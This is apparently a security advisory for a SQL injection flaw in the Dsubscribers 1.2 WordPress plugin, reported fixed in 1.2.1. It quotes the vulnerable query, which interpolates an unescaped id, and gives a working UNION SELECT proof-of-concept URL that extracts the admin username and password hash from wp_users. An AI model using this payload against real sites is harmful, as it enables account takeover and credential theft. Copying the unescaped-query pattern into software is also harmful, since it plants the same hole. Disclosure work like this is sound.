Dsubscribers – 1.2 – Plugin WordPress – Sql Injection

Homepage:

https://wordpress.org/plugins/dsubscribers/

Description:

Type user access:  is accessible only admin user.

$_REQUEST[‘dsubscribers’] is escaped wrong. Attack with Sql Injection

File / Code:

Path: /wp-content/plugin/dsubscribers/includes/class-dsubscribers-table.php

Line: 40

global $wpdb;

          $table_name = $wpdb->prefix . "dsubscribers";



          $row = $wpdb->get_row("SELECT * FROM $table_name WHERE id=$id"); ?>



}

Proof of Concept:

1 – Login with admin user:

2 – Url attack:

 http://target/wp-admin/admin.php?page=dsubscribers&action=edit&dsubscribers=0 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass) FROM wp_users WHERE ID=1

2 – Result:

Timeline:

  • 04/07/2017 – Discovered
  • 06/07/2017 – Vendor finded
  • 06/07/2017 – Correct to version 1.2.1

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